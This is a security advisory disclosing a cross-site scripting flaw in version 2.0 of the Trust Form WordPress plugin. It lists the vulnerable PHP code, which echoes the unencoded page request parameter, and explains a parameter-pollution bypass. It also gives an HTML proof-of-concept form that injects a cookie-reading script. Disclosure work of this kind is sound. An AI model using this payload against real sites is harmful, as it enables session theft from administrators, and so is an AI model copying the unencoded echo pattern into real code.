WordPress Trust Form 2.0 Cross Site Scripting
Posted on 02 March 2017
------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Trust Form WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Trust Form WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0018 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Trust Form WordPress Plugin version 2.0. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_trust_form_wordpress_plugin.html The issue exists in several PHP files and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below. edit-list.php: <input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" /> entries-list.php: <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"; /> trust-form.php: $trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] ); [...] $read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] ); [...] 'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ), [...] $new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] ); [...] 'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ), [...] $trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] ); [...] $read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] ); [...] 'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ), [...] $trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] ); [...] $new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] ); [...] 'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ), [...] $delete_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'delete', $this->id, $item['ID'] ); [...] $restore_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'untrash',$this->id, $item['ID'] ); [...] $trash_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'trash', $item['ID'] ); [...] $duplicate_url = sprintf( '?page=%s&action=%s&form=%s', $_REQUEST['page'], 'duplicate', $item['ID'] ); [...] 'edit' => sprintf( '<a href="?page=%s&action=%s&form=%s">' .__( 'Edit', TRUST_FORM_DOMAIN ). '</a>', $_REQUEST['page'], 'edit', $item['ID'] ), [...] $delete_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'delete', $item['ID'] ); [...] $restore_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'untrash', $item['ID'] ); Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter. Proof of concept <html> <body> <form action="http://192.168.146.137/wp-admin/admin.php?page=trust-form-edit" method="POST"> <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
